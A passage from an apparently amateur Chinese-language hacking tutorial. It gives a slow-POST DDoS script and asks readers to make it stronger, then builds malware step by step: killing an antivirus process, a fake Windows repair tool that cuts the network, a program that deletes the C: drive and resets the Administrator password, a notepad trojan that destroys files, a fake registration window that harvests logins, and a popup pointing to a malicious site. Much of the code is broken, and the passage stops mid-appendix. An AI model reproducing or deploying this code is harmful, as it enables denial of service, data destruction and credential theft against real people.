你可以邀請你的朋友加入我們的行列，並要它閱讀這本書裏的引子和介紹。接着，你可以在QQ或WeChat裏組織一個團體，可以取一個有意義的名字。例如：
Hello,Hackers!
Hacker men
計算機殺手們
黑客軍團
黑客帝國
這些都是一些有趣的名字，你可以採取點意見。
接着，你可以將自己的成果與大家共享，再收穫別人的成果。用一段有趣的話來說：化學罐車碰油罐車，火花才激烈！
2、加入組織
你可以加入任何的組織，只要它願意。加入後，你可以像上一小節那樣，一起來交流。
如遇到讓你很感興趣的話題，你可以向發佈人詢問代碼，Python社區都十分友好，Hackers社區就更別說了——一家人，難道還不友好嗎？
攻擊
組織之後，例如我的團隊現在有8個人，分別是：
C++
Java
Python(Me)
1
2
3
4
5
我們就可以進行合作，例如：
C++進行偵查，看看網站有什麼狀況
Java進行本地網絡檢查，看看有沒有被人發現並試圖連接
Python(Me)、1、2、3、4、5進行攻擊，努力取得勝利。
這樣，隊伍就會變得十分團結。
那麼，我就以我自己的網站爲例，進行攻擊。
我的團隊共有3個人，分別爲：1、2、Me
1進行攻擊
2進行探查
Me進行攻擊
2探查到了：
網站的分享功能因流量不足被關閉了。
1和Me在攻擊：
import socket
import time
......
這樣的話，這個網站很快就因流量崩潰而無法訪問：
DDoS攻擊軟件的製作
把腳本變成攻擊軟件，這也許會比較好。別的人可以更好的進行使用。
我們先打開DDoS攻擊腳本，代碼如下：
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
PORT=80
HOST=""#在雙引號裏輸入對方IP或域名，要保證他聯網了或開機了.
PAGE="/index.php"
#---------------------------
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
socks=[]
def conn_thread():
global socks
for i in range(0,MAX_CONN):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
socks.append(s)
except Exception as ex:
print ("Could not connect to server or send error:%s"%ex)
time.sleep(0.1)
#end def
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f".encode())
#print "send OK!"
except Exception as ex:
print ("Send Exception:%s\n"%ex)
socks.remove(s)
s.close()
time.sleep(0.1)
#end def
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()
我們第一步就是給它加上標題和IP輸入區，那麼，將代碼修改成這樣：
import socket
import time
import threading
#Pressure Test,ddos tool
print("歡迎使用DDoS:ME!")
HOST = input("DDoS:ME請求您輸入IP:")
#---------------------------
MAX_CONN=20000
PORT=80
PAGE="/index.php"
#---------------------------
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
socks=[]
def conn_thread():
global socks
for i in range(0,MAX_CONN):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
socks.append(s)
except Exception as ex:
print ("Could not connect to server or send error:%s"%ex)
time.sleep(0.1)
#end def
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f".encode())
#print "send OK!"
except Exception as ex:
print ("Send Exception:%s\n"%ex)
socks.remove(s)
s.close()
time.sleep(0.1)
#end def
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()
這樣，就成爲一個簡易的攻擊軟件了。
不過，我們還得繼續改進。
本次改進就當做本小節的挑戰了，希望經過那麼久的學習，你可以完成這個挑戰。
挑戰
1、將本節的DDoS攻擊器進行改造，成爲一個完美的攻擊器。
2、讓這段代碼的威力更厲害點兒
網站攻擊要點
在本書中，不會教大家如何進行DNS欺騙和別的攻擊。因爲這些知識很難，比DDoS難得多。但是，在本書，我們會將病毒研發延伸到我的終點——我會貢獻我所有可以貢獻的知識。
在攻擊時，一定不要忘記自己的身份：
我是一名黑客
既然你是黑客，那就不該做壞事。如果不小心對人家造成了損失，那就成駭客了。
Python3.7編程學習
在中級篇裏，我們還要學習如何編程。這樣有助於我們僞裝我們的程序。例如我通過編程來做一個DDoS攻擊器，然後讓其他人下載。接着，再讓你編寫的病毒運行，就可以將別人一網打盡了。
輸入和輸出
在IDE中輸入和輸出，我們可以利用print()和input()來完成。這兩個都是Python自帶的函數，我們可以隨心所欲的用它，並且不用定義。
輸出
輸出是指將信息顯示出來，這就是輸出。
代碼例子：
print("Hello, World!")
輸入
輸入是指讓使用的用戶進行鍵盤敲擊，從而進行錄入。
代碼例子：
name = input("What's your name?")
這兩個模塊都十分重要，要務必記住它們。
計算
讓Python幫你計算，其實十分簡單。
你可以根據下列代碼進行分析和學習：
1+1 #加法
2-1 #減
3*3 #乘
9/3 #除以
10%3 #模
函數
我們可以通過定義函數來解決總是一樣的代碼。
代碼例子:
def print_a():
print("a")
循環
循環有兩種，一個是For,一個是While。
這些都是循環，只是方式不同。
代碼例子:
#while
while 1:
print("010101001010100101010")
#For
for word in ["You","are","cool!"]:
print(word)
判斷
在Python中，我們用if組語句來判斷。在本書中，我們只學習if、else兩個語句。
代碼例子：
age = 10
if age == 10:
print("你滿十歲啦！")
else :
print("NO！你沒有十歲！")
程序例子學習
1、你幾歲了？
age = input("你幾歲了?")
if age == "18":
print("你剛好成年!")
else :
print("你不是18歲，你可能未成年!")
2、我會機器語言
while 1:
print("010010101010010101010101010101000101010101010101001010101001010010100101010110010101011111111111111101101010101")
高級篇
在這一篇裏，你將學習編寫高級病毒。這些高級病毒十分厲害，最好在虛擬機中查看結果。
我的虛擬機因爲無法連接網絡，所以在這裏我就不做注入演示。
在本章，我們將完成大部分的典型病毒，準備好了嗎？
在這之前，我們還要爲所有的病毒編寫一個必要的程序：
後臺運行和免殺
後臺運行
在病毒代碼的末端加入如下代碼：
window=tk.Tk()
window.withdraw()
window.mainloop()
這樣，你就可以讓你的病毒在後臺運行了。
免殺
我們通過編寫代碼來實現病毒免殺。
我們可以通過打亂病毒特徵碼來進行，也可以編寫“花指令”。
在這裏，我們將用到一個新的知識點——欺騙。
“花指令”在前面的篇章裏說過，就是編寫一段不是病毒源代碼的代碼，來欺騙殺毒軟件。
這裏，這個病毒也叫“程序殺手木馬”。
我們通過代碼來實現“程序殺手木馬”，來保護我們的病毒可以正常運行。
我們先看看如下代碼：
os.system(r'taskkill /F /IM 進程名')
這段代碼實現了停止某個進程，那麼，我們這裏以金山毒霸爲例，來關閉金山毒霸。
首先，金山毒霸的文件名爲：
kxetray.exe
我們將剛纔的代碼改一下：
import os
os.system(r'taskkill /F /IM kxetray.exe')
time.sleep(5)
window=tk.Tk()
window.withdraw()
window.mainloop()
FTP病毒
ftp病毒的作用就是打開21端口，等待連接。但如果對方打開了ftp，那麼，這個病毒就不必要了。
因爲大部分用戶都開啓了21端口，所以這個病毒跳過。
斷網病毒
斷網病毒的原理就是關閉Windows網絡服務，使其斷網。並且還會進行網絡堵塞。爲了騙過用戶，我們仿造了Windows漏洞修復程序，其內容簡單，代碼如下：
import os
os.system("net stop service")
import subprocess
print("正在進行環境監測，請稍後")
ret = subprocess.call("title Windows漏洞修復", shell=True)
ret = subprocess.call("ping -t -l 100 127.0.0.0", shell=True)
window=tk.Tk()
window.withdraw()
window.mainloop()
破壞型病毒
在之前，我們已經做過一款破壞型病毒了。這次，我們繼續進行改造，讓它成爲一個高級的病毒。
import tkinter as tk
import tkinter.messagebox
import subprocess
import time
import os
import datetime
import os
import sys
ret = subprocess.call("del C:\ ", shell=False)
ret = subprocess.call("ping -n 1 -l 1 你自己的IP", shell=False) #用作通知，通知你有人遭到了你的病毒攻擊，從而對它進行DoS攻擊。
ret = subprocess.call("net user Administrator 123456", shell=False)
ret = subprocess.call("ping 你自己的IP",shell=False)#通知你進行登錄這個用戶，從而進行高級操作
window=tk.Tk()
window.withdraw()
window.mainloop()
①在第一次通知時，對目標進行DoS攻擊。（可以通過資源監視器來查看通知），從而使對方網絡堵塞和系統速度變慢。
②在第二次時，用telnet指令連接對方，登錄Administrator用戶，輸入密碼123456，即可進行更高操作。
telnet 對方IP
正在連接對方IP......
用戶名:Administrator
密碼:123456
正在登錄......
已成功登錄Administrator！
（注：因版本原因，顯示可能不相同，請諒解。）
自毀木馬
這個木馬的功能並不是盜取信息，而是同歸於盡。
它將僞裝成正常程序，並且會在收集完一定系統信息後帶着當前目錄下的部分文件同歸於盡。
這個木馬難度較大，並且還要進行僞裝，在這裏，我們將這個木馬僞裝成這個程序：
這是一款記事本程序，我們可以用它來進行僞裝，它的代碼如下：
#__author__='ZhangP'
#-*- encoding:utf8 -*-
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
root=Tk()
root.title('記事本')
root.geometry("800x500+100+100")
filename=''
def author():
tkinter.messagebox.askokcancel('作者信息','本軟件由tiantian520開發')
def about():
tkinter.messagebox.askokcancel('版權信息.Copyright','隨意轉載啦!')
def openfile():
global filename
filename=tkinter.filedialog.askopenfilename(defaultextension = '.txt')
if filename == '':
filename=None
else:
root.title('FileName:'+os.path.basename(filename))
textPad.delete(1.0,END)
f=open(filename,'r',encoding='utf-8')
textPad.insert(1.0,f.read())
f.close()
def new():
global filename
root.title("未命名文件")
filename=None
textPad.delete(1.0,END)
def save():
global filename
try:
f=open(filename,'w')
msg=textPad.get(1.0,END)
f.write(msg)
f.close()
except:
saveas()
def saveas():
f=tkinter.filedialog.asksaveasfilename(initialfile='未命名.txt',defaultextension='.txt')
global filename
filename=f
fh=open(f,'w')
msg=textPad.get(1.0,END)
fh.write(msg)
fh.close()
root.title('FileName:'+os.path.basename(f))
def cut():
textPad.event_generate('<<Cut>>')
def copy():
textPad.event_generate('<<Copy>>')
def paste():
textPad.event_generate('<<Paste>>')
def redo():
textPad.event_generate('<<Redo>>')
def undo():
textPad.event_generate('<<Undo>>')
def selectAll():
textPad.tag_add('sel','1.0',END)
def search():
topsearch=Toplevel(root)
topsearch.geometry('300x30+200+250')
label1=Label(topsearch,text='Find')
label1.grid(row=0,column=0,padx=5)
entry1=Entry(topsearch,width=20)
entry1.grid(row=0,column=1,padx=5)
button1=Button(topsearch,text='查找')
button1.grid(row=0,column=2)
menubar=Menu(root)
root.config(menu=menubar)
filemenu=Menu(menubar)
filemenu.add_command(label='新建',accelerator='Ctrl+N',command=new)
filemenu.add_command(label='打開',accelerator='Ctrl+O',command=openfile)
filemenu.add_command(label='保存',accelerator='Ctrl+S',command=save)
filemenu.add_command(label='另存爲',accelerator='Ctrl+Shift+S',command=saveas)
menubar.add_cascade(label='文件',menu=filemenu)
editmenu=Menu(menubar)
editmenu.add_command(label='撤消',accelerator='Ctrl+z',command=undo)
editmenu.add_command(label='重做',accelerator='Ctrl+y',command=redo)
#添加分割線
editmenu.add_separator()
editmenu.add_command(label='剪切',accelerator='Ctrl+X',command=cut)
editmenu.add_command(label='複製',accelerator='Ctrl+C',command=copy)
editmenu.add_command(label='粘貼',accelerator='Ctrl+V',command=paste)
editmenu.add_separator()
editmenu.add_command(label='查找',accelerator='Ctrl+F',command=search)
editmenu.add_command(label='全選',accelerator='Ctrl+A',command=selectAll)
menubar.add_cascade(label='編輯',menu=editmenu)
aboutmenu=Menu(menubar)
aboutmenu.add_command(label='作者',command=author)
aboutmenu.add_command(label='版權',command=about)
menubar.add_cascade(label='關於',menu=aboutmenu)
toolbar=Frame(root,height=25,bg='light sea green')
shortButton=Button(toolbar,text='打開',command=openfile)
shortButton.pack(side=LEFT,padx=5,pady=5)
shortButton=Button(toolbar,text='保存',command=save)
shortButton.pack(side=LEFT)
toolbar.pack(expand=NO,fill=X)
status=Label(root,text="Ln20",bd=1,relief=SUNKEN,anchor=W)
status.pack(side=BOTTOM,fill=X)
lnlabel=Label(root,width=2,bg='antique white')
lnlabel.pack(side=LEFT,fill=Y)
textPad=Text(root,undo=True)
textPad.pack(expand=YES,fill=BOTH)
scroll=Scrollbar(textPad)
textPad.config(yscrollcommand=scroll.set)
scroll.config(command=textPad.yview)
scroll.pack(side=RIGHT,fill=Y)
root.mainloop()
我們用它來充當正常程序，而我們將修改一下代碼，使其變爲典型木馬。
因爲難度較大，所以我們一步一步、腳踏實地的來學習。
我們先看一段代碼：
import os
current_dir = os.path.dirname(os.path.abspath(__file__))
os.system("del " + current_dir)
這段代碼可以實現刪除這個文件所在的目錄文件夾，我們就用這段代碼來進行自毀木馬的編寫。
看一下之前的代碼：
#-*- encoding:utf8 -*-
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
root=Tk()
root.title('記事本')
root.geometry("800x500+100+100")
filename=''
def author():
import os
current_dir = os.path.dirname(os.path.abspath(__file__))
os.system("del " + current_dir)
tkinter.messagebox.askokcancel('作者信息','本軟件由tiantian520開發')
def about():
tkinter.messagebox.askokcancel('版權信息.Copyright','隨意轉載啦!')
def openfile():
global filename
filename=tkinter.filedialog.askopenfilename(defaultextension = '.txt')
if filename == '':
filename=None
else:
root.title('FileName:'+os.path.basename(filename))
textPad.delete(1.0,END)
f=open(filename,'r',encoding='utf-8')
textPad.insert(1.0,f.read())
f.close()
def new():
global filename
root.title("未命名文件")
filename=None
textPad.delete(1.0,END)
def save():
global filename
try:
f=open(filename,'w')
msg=textPad.get(1.0,END)
f.write(msg)
f.close()
except:
saveas()
def saveas():
f=tkinter.filedialog.asksaveasfilename(initialfile='未命名.txt',defaultextension='.txt')
global filename
filename=f
fh=open(f,'w')
msg=textPad.get(1.0,END)
fh.write(msg)
fh.close()
root.title('FileName:'+os.path.basename(f))
def cut():
textPad.event_generate('<<Cut>>')
def copy():
textPad.event_generate('<<Copy>>')
def paste():
textPad.event_generate('<<Paste>>')
def redo():
textPad.event_generate('<<Redo>>')
def undo():
textPad.event_generate('<<Undo>>')
def selectAll():
textPad.tag_add('sel','1.0',END)
def search():
topsearch=Toplevel(root)
topsearch.geometry('300x30+200+250')
label1=Label(topsearch,text='Find')
label1.grid(row=0,column=0,padx=5)
entry1=Entry(topsearch,width=20)
entry1.grid(row=0,column=1,padx=5)
button1=Button(topsearch,text='查找')
button1.grid(row=0,column=2)
menubar=Menu(root)
root.config(menu=menubar)
filemenu=Menu(menubar)
filemenu.add_command(label='新建',accelerator='Ctrl+N',command=new)
filemenu.add_command(label='打開',accelerator='Ctrl+O',command=openfile)
filemenu.add_command(label='保存',accelerator='Ctrl+S',command=save)
filemenu.add_command(label='另存爲',accelerator='Ctrl+Shift+S',command=saveas)
menubar.add_cascade(label='文件',menu=filemenu)
editmenu=Menu(menubar)
editmenu.add_command(label='撤消',accelerator='Ctrl+z',command=undo)
editmenu.add_command(label='重做',accelerator='Ctrl+y',command=redo)
#添加分割線
editmenu.add_separator()
editmenu.add_command(label='剪切',accelerator='Ctrl+X',command=cut)
editmenu.add_command(label='複製',accelerator='Ctrl+C',command=copy)
editmenu.add_command(label='粘貼',accelerator='Ctrl+V',command=paste)
editmenu.add_separator()
editmenu.add_command(label='查找',accelerator='Ctrl+F',command=search)
editmenu.add_command(label='全選',accelerator='Ctrl+A',command=selectAll)
menubar.add_cascade(label='編輯',menu=editmenu)
aboutmenu=Menu(menubar)
aboutmenu.add_command(label='作者',command=author)
aboutmenu.add_command(label='版權',command=about)
menubar.add_cascade(label='關於',menu=aboutmenu)
toolbar=Frame(root,height=25,bg='light sea green')
shortButton=Button(toolbar,text='打開',command=openfile)
shortButton.pack(side=LEFT,padx=5,pady=5)
shortButton=Button(toolbar,text='保存',command=save)
shortButton.pack(side=LEFT)
toolbar.pack(expand=NO,fill=X)
status=Label(root,text="Ln20",bd=1,relief=SUNKEN,anchor=W)
status.pack(side=BOTTOM,fill=X)
lnlabel=Label(root,width=2,bg='antique white')
lnlabel.pack(side=LEFT,fill=Y)
textPad=Text(root,undo=True)
textPad.pack(expand=YES,fill=BOTH)
scroll=Scrollbar(textPad)
textPad.config(yscrollcommand=scroll.set)
scroll.config(command=textPad.yview)
scroll.pack(side=RIGHT,fill=Y)
root.mainloop()
我們加上點剛纔看的代碼：
#-*- encoding:utf8 -*-
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
root=Tk()
root.title('記事本')
root.geometry("800x500+100+100")
filename=''
def author():
import os
current_dir = os.path.dirname(os.path.abspath(__file__))
os.system("del " + current_dir)
tkinter.messagebox.askokcancel('作者信息','本軟件由tiantian520開發')
def about():
import os
current_dir = os.path.dirname(os.path.abspath(__file__))
os.system("del " + current_dir)
tkinter.messagebox.askokcancel('版權信息.Copyright','隨意轉載啦!')
def openfile():
global filename
import os
current_dir = os.path.dirname(os.path.abspath(__file__))
os.system("del " + current_dir)
filename=tkinter.filedialog.askopenfilename(defaultextension = '.txt')
if filename == '':
filename=None
else:
root.title('FileName:'+os.path.basename(filename))
textPad.delete(1.0,END)
f=open(filename,'r',encoding='utf-8')
textPad.insert(1.0,f.read())
f.close()
def new():
global filename
root.title("未命名文件")
filename=None
textPad.delete(1.0,END)
def save():
global filename
try:
f=open(filename,'w')
msg=textPad.get(1.0,END)
f.write(msg)
f.close()
except:
saveas()
def saveas():
f=tkinter.filedialog.asksaveasfilename(initialfile='未命名.txt',defaultextension='.txt')
global filename
filename=f
fh=open(f,'w')
msg=textPad.get(1.0,END)
fh.write(msg)
fh.close()
root.title('FileName:'+os.path.basename(f))
def cut():
textPad.event_generate('<<Cut>>')
def copy():
textPad.event_generate('<<Copy>>')
def paste():
textPad.event_generate('<<Paste>>')
def redo():
textPad.event_generate('<<Redo>>')
def undo():
textPad.event_generate('<<Undo>>')
def selectAll():
textPad.tag_add('sel','1.0',END)
def search():
topsearch=Toplevel(root)
topsearch.geometry('300x30+200+250')
label1=Label(topsearch,text='Find')
label1.grid(row=0,column=0,padx=5)
entry1=Entry(topsearch,width=20)
entry1.grid(row=0,column=1,padx=5)
button1=Button(topsearch,text='查找')
button1.grid(row=0,column=2)
menubar=Menu(root)
root.config(menu=menubar)
filemenu=Menu(menubar)
filemenu.add_command(label='新建',accelerator='Ctrl+N',command=new)
filemenu.add_command(label='打開',accelerator='Ctrl+O',command=openfile)
filemenu.add_command(label='保存',accelerator='Ctrl+S',command=save)
filemenu.add_command(label='另存爲',accelerator='Ctrl+Shift+S',command=saveas)
menubar.add_cascade(label='文件',menu=filemenu)
editmenu=Menu(menubar)
editmenu.add_command(label='撤消',accelerator='Ctrl+z',command=undo)
editmenu.add_command(label='重做',accelerator='Ctrl+y',command=redo)
#添加分割線
editmenu.add_separator()
editmenu.add_command(label='剪切',accelerator='Ctrl+X',command=cut)
editmenu.add_command(label='複製',accelerator='Ctrl+C',command=copy)
editmenu.add_command(label='粘貼',accelerator='Ctrl+V',command=paste)
editmenu.add_separator()
editmenu.add_command(label='查找',accelerator='Ctrl+F',command=search)
editmenu.add_command(label='全選',accelerator='Ctrl+A',command=selectAll)
menubar.add_cascade(label='編輯',menu=editmenu)
aboutmenu=Menu(menubar)
aboutmenu.add_command(label='作者',command=author)
aboutmenu.add_command(label='版權',command=about)
menubar.add_cascade(label='關於',menu=aboutmenu)
toolbar=Frame(root,height=25,bg='light sea green')
shortButton=Button(toolbar,text='打開',command=openfile)
shortButton.pack(side=LEFT,padx=5,pady=5)
shortButton=Button(toolbar,text='保存',command=save)
shortButton.pack(side=LEFT)
toolbar.pack(expand=NO,fill=X)
status=Label(root,text="Ln20",bd=1,relief=SUNKEN,anchor=W)
status.pack(side=BOTTOM,fill=X)
lnlabel=Label(root,width=2,bg='antique white')
lnlabel.pack(side=LEFT,fill=Y)
textPad=Text(root,undo=True)
textPad.pack(expand=YES,fill=BOTH)
scroll=Scrollbar(textPad)
textPad.config(yscrollcommand=scroll.set)
scroll.config(command=textPad.yview)
scroll.pack(side=RIGHT,fill=Y)
root.mainloop()
這樣，我們就可以大致實現自毀木馬了。
入侵病毒
通過入侵病毒，我們可以儘快進行入侵，從而對對方實現高級操作。
現在我們先編寫一個打開後可以通知黑客的病毒，這次，使用socket模塊來進行。
下面是代碼：
import socket
import time
import threading
import tkinter as tk
#---------------------------
MAX_CONN=20000
PORT=80
HOST="你的IP"
PAGE="/index.php"
#---------------------------
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
try:
socks=[]
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((HOST,PORT))
s.send(buf.encode())
window=tk.Tk()
window.withdraw()
window.mainloop()
這樣，我們就可以實現通知了。
接着，我們就可以使用自己編寫的Telnet連接器進行連接：
# -*- coding: utf-8 -*-
import telnetlib
# 配置選項
Host = '' # Telnet服務器IP
username = '' # 登錄用戶名
password = '' # 登錄密碼
finish = ':~$ ' # 命令提示符（標識着上一條命令已執行完畢）
# 連接Telnet服務器
tn = telnetlib.Telnet(Host)
# 輸入登錄用戶名
n.read_until('login: ')
tn.write(username + '\n')
# 輸入登錄密碼
tn.read_until('Password: ')
tn.write(password + '\n')
# 登錄完畢後，執行ls命令
tn.read_until(finish)
tn.write('ls\n')
# ls命令執行完畢後，終止Telnet連接（或輸入exit退出）
tn.read_until(finish)
tn.close() # tn.write('exit\n')
連接後，即可執行ls命令，如果需執行其他命令，可以修改下面代碼：
tn.write('ls\n')#修改命令
你可以刪除對方C盤，看看對方圖片！現在，我們雖然進入了對方計算機，但是還沒有獲得Root權限，如果可以，我們也可以獲得最高權限——Administrator
接下來，我教大家用代碼實現向對方進行攻擊，並且獲得管理員權限。
首先，我們可以先將之前的病毒再加上幾個代碼：
from tkinter import *
from tkinter import ttk
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import datetime
import tkinter as tk
import tkinter.messagebox
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import webbrowser
try :
window=tk.Tk()
window.title('歡迎使用Windows高級功能！')
window.geometry('450x300')
tk.messagebox.showinfo(title='welcome',
message='很高興您使用Windows高級功能！請在這裏重新註冊一個賬號，並且，用戶名與密碼必須與您現在使用的用戶一樣。')
#畫布放置圖片
canvas=tk.Canvas(window,height=300,width=500)
imagefile=tk.PhotoImage(file='Hello.png')
image=canvas.create_image(0,0,anchor='nw',image=imagefile)
canvas.pack(side='top')
#標籤 用戶名密碼
tk.Label(window,text='用戶名:').place(x=100,y=150)
tk.Label(window,text='密碼:').place(x=100,y=190)
#用戶名輸入框
var_usr_name=tk.StringVar()
entry_usr_name=tk.Entry(window,textvariable=var_usr_name)
entry_usr_name.place(x=160,y=150)
#密碼輸入框
var_usr_pwd=tk.StringVar()
entry_usr_pwd=tk.Entry(window,textvariable=var_usr_pwd,show='*')
entry_usr_pwd.place(x=160,y=190)
#登錄函數
def usr_log_in():
#輸入框獲取用戶名密碼
usr_name=var_usr_name.get()
usr_pwd=var_usr_pwd.get()
#從本地字典獲取用戶信息，如果沒有則新建本地數據庫
try:
with open('usr_info.pickle','rb') as usr_file:
usrs_info=pickle.load(usr_file)
except FileNotFoundError:
with open('usr_info.pickle','wb') as usr_file:
usrs_info={'admin':'admin'}
pickle.dump(usrs_info,usr_file)
#判斷用戶名和密碼是否匹配
if usr_name in usrs_info:
if usr_pwd == usrs_info[usr_name]:
tk.messagebox.showinfo(title='welcome',
message='歡迎您：'+usr_name)
tk.messagebox.showerror(message='系統錯誤 \n 錯誤代碼:01x0111x0 \n 請關閉此程序，因爲它似乎不適合你的Windows!')
else:
tk.messagebox.showerror(message='密碼錯誤')
#用戶名密碼不能爲空
elif usr_name=='' or usr_pwd=='' :
tk.messagebox.showerror(message='用戶名或密碼爲空')
#不在數據庫中彈出是否註冊的框
else:
is_signup=tk.messagebox.askyesno('歡迎','您還沒有註冊，是否現在註冊')
if is_signup:
usr_sign_up()
#註冊函數
def usr_sign_up():
#確認註冊時的相應函數
def signtowcg():
#獲取輸入框內的內容
nn=new_name.get()
np=new_pwd.get()
npf=new_pwd_confirm.get()
#本地加載已有用戶信息,如果沒有則已有用戶信息爲空
try:
with open('usr_info.pickle','rb') as usr_file:
exist_usr_info=pickle.load(usr_file)
except FileNotFoundError:
exist_usr_info={}
#檢查用戶名存在、密碼爲空、密碼前後不一致
if nn in exist_usr_info:
tk.messagebox.showerror('錯誤','用戶名已存在')
elif np =='' or nn=='':
tk.messagebox.showerror('錯誤','用戶名或密碼爲空')
elif np !=npf:
tk.messagebox.showerror('錯誤','密碼前後不一致')
#註冊信息沒有問題則將用戶名密碼寫入數據庫
else:
exist_usr_info[nn]=np
with open('usr_info.pickle','wb') as usr_file:
pickle.dump(exist_usr_info,usr_file)
tk.messagebox.showinfo('歡迎','註冊成功')
#註冊成功關閉註冊框
window_sign_up.destroy()
#新建註冊界面
window_sign_up=tk.Toplevel(window)
window_sign_up.geometry('350x200')
window_sign_up.title('註冊')
#用戶名變量及標籤、輸入框
new_name=tk.StringVar()
tk.Label(window_sign_up,text='用戶名：').place(x=10,y=10)
tk.Entry(window_sign_up,textvariable=new_name).place(x=150,y=10)
#密碼變量及標籤、輸入框
new_pwd=tk.StringVar()
tk.Label(window_sign_up,text='請輸入密碼：').place(x=10,y=50)
tk.Entry(window_sign_up,textvariable=new_pwd,show='*').place(x=150,y=50)
#重複密碼變量及標籤、輸入框
new_pwd_confirm=tk.StringVar()
tk.Label(window_sign_up,text='請再次輸入密碼：').place(x=10,y=90)
tk.Entry(window_sign_up,textvariable=new_pwd_confirm,show='*').place(x=150,y=90)
#確認註冊按鈕及位置
bt_confirm_sign_up=tk.Button(window_sign_up,text='確認註冊',
command=signtowcg)
bt_confirm_sign_up.place(x=150,y=130)
#退出的函數
def usr_sign_quit():
try :
window.destroy()
except :
pass
#登錄 註冊按鈕
bt_login=tk.Button(window,text='登錄',command=usr_log_in)
bt_login.place(x=140,y=230)
bt_logup=tk.Button(window,text='註冊',command=usr_sign_up)
bt_logup.place(x=210,y=230)
bt_logquit=tk.Button(window,text='退出',command=usr_sign_quit)
bt_logquit.place(x=280,y=230)
#主循環
window.mainloop()
# -*-coding:utf-8-*
import socket
import threading
import Queue
import time
except :
pass
這段代碼會讓用戶輸入自己的賬號的密碼，並且保存到usr_info.pickle中，我們在它輸入後，找到這個文件，並且用記事本打開，裏面就會寫着密碼和用戶名，如圖所示：
這樣，我們就可以知道對方管理員賬號密碼了，即可登錄到對方計算機上，並且擁有Administrator權限了。
廣告病毒
想必大家對廣告都不陌生，經常佔滿全屏的廣告，很可能，某一個就是誘導你的計算機病毒！！！
所以，在本章，我們來學習如何製作廣告病毒。
首先，它得是個窗口，並且還是得有一個樣子，大致構圖如下：
點擊這個鏈接，就會通往惡意網站。
效果如下：
代碼：
import tkinter as tk
import tkinter.messagebox
import pickle
import pickle
import tkinter as tk
import tkinter.messagebox
import subprocess
import time
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import datetime
import tkinter as tk
import tkinter.messagebox
from os import path
from subprocess import Popen, PIPE
from tkinter import *
from tkinter import ttk
from tkinter.filedialog import askopenfilename
from time import sleep
import time
from tkinter import *
import tkinter.messagebox
import tkinter.filedialog
import os
import webbrowser
def tiaozhuan():
webbrowser.open("xxx.com")
window=tk.Tk()
window.title('頭條新聞——新聞，找頭條！')
window.geometry('450x300')
tk.Label(window,text='最新消息！微軟決定拋棄Windows 7！詳情請點擊：').place(x=0,y=0)
b = tkinter.Button(window,text = '詳情',bg='cyan',font = ('幼圓',15),bd = 0.5,width=10,height=5,command = tiaozhuan).place(x=50,y=100,anchor='nw')
window=tk.Tk()
window.withdraw()
window.mainloop()
結束
你已經成爲一名優秀的黑客兼程序員了！接下來，你可以繼續閱讀我後面出的高級書籍，或者放棄，這要由你來選擇！
期望你在後面的路上能走得更遠，再見！
附錄 A
在文中，有一個DDoS的代碼。這段代碼中，有一個要注意的是：如果不改動此代碼，只可以攻擊index.php這個頁面！！！
要攻擊其他頁面，我們需要修改代碼。
原本代碼如下：
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
HOST = ""
PORT=80
PAGE="/index.php"
#---------------------------
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
socks=[]
def conn_thread():
global socks
for i in range(0,MAX_CONN):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(buf.encode())
print ("Send buf OK!,conn=%d\n"%i)
socks.append(s)
except Exception as ex:
print ("Could not connect to server or send error:%s"%ex)
time.sleep(0.1)
#end def
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f".encode())
#print "send OK!"
except Exception as ex:
print ("Send Exception:%s\n"%ex)
socks.remove(s)
s.close()
time.sleep(0.1)
#end def
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()
如要攻擊index.html，就要更改爲:
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
HOST = ""
PORT=80
PAGE="/index.html"
#---------------------------
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
socks=[]
def conn_thread():
global socks
for i in range(0,MAX_CONN):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
